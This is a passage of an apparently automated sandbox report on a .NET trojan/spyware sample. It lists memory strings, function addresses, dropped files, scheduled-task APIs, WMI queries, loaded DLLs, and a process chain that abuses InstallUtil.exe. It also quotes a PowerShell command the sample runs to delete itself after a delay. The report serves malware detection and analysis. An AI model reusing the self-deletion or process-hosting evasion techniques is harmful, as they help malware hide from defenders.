Source: InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000006.00000002.2849060337.0000000004F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000006.00000002.2849060337.0000000004F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.2859267050.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Local\Temp\TmpADD3.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Local\Temp\TmpAD84.tmp			Jump to dropped file

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_0094E0A8	0_2_0094E0A8
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_009425A0	0_2_009425A0
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_05662410	0_2_05662410
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_05662149	0_2_05662149
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_05662158	0_2_05662158
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056623FF	0_2_056623FF
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A0DC0	0_2_056A0DC0
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A34E4	0_2_056A34E4
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A20EE	0_2_056A20EE
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056AD3A0	0_2_056AD3A0
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A0DB9	0_2_056A0DB9
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A64A8	0_2_056A64A8
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A6498	0_2_056A6498
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A4FE7	0_2_056A4FE7
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A4FF8	0_2_056A4FF8
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A7640	0_2_056A7640
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056A7630	0_2_056A7630
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056AD693	0_2_056AD693
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056AC060	0_2_056AC060
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056AC051	0_2_056AC051
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_056AD390	0_2_056AD390
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_06A2CF20	0_2_06A2CF20
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_06A10006	0_2_06A10006
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Code function: 0_2_06A10040	0_2_06A10040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0276DC74	5_2_0276DC74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06200D80	5_2_06200D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_062167D8	5_2_062167D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0621A3D8	5_2_0621A3D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06213F50	5_2_06213F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06216FE8	5_2_06216FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06216FF8	5_2_06216FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0694B470	5_2_0694B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0694C5B8	5_2_0694C5B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06945600	5_2_06945600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06941710	5_2_06941710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06941700	5_2_06941700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06946740	5_2_06946740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069455F0	5_2_069455F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069432D0	5_2_069432D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069432E0	5_2_069432E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06944088	5_2_06944088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069421D0	5_2_069421D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069401E8	5_2_069401E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06948150	5_2_06948150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06940E38	5_2_06940E38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06940E48	5_2_06940E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06944F98	5_2_06944F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06944F88	5_2_06944F88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06945D70	5_2_06945D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069408D8	5_2_069408D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069498E0	5_2_069498E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_069408E8	5_2_069408E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0694391B	5_2_0694391B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_06943920	5_2_06943920

Source: w74ALjpS5h.exe, 00000000.00000000.1599493589.0000000000322000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameleadreplace.exe8 vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePerisperm.exe8 vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePerisperm.exe8 vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2740442349.0000000000A00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006DD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePerisperm.exe8 vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2751630746.00000000036C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLnpzmv.dll" vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2751630746.0000000003F2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLnpzmv.dll" vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2785953790.0000000005BA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameLnpzmv.dll" vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000027B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclrjit.dllT vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000027B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.00000000027B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $kq,\\StringFileInfo\\040904B0\\OriginalFilename vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2740115473.000000000084E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs w74ALjpS5h.exe
Source: w74ALjpS5h.exe	Binary or memory string: OriginalFilenameleadreplace.exe8 vs w74ALjpS5h.exe

Source: w74ALjpS5h.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.w74ALjpS5h.exe.6d4b518.18.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.w74ALjpS5h.exe.a00000.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/9@0/2

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\w74ALjpS5h.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Temp\TmpAD84.tmp

Jump to behavior

Source: w74ALjpS5h.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: w74ALjpS5h.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: w74ALjpS5h.exe

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\w74ALjpS5h.exe "C:\Users\user\Desktop\w74ALjpS5h.exe"
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: esdsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: propsys.dll	Jump to behavior
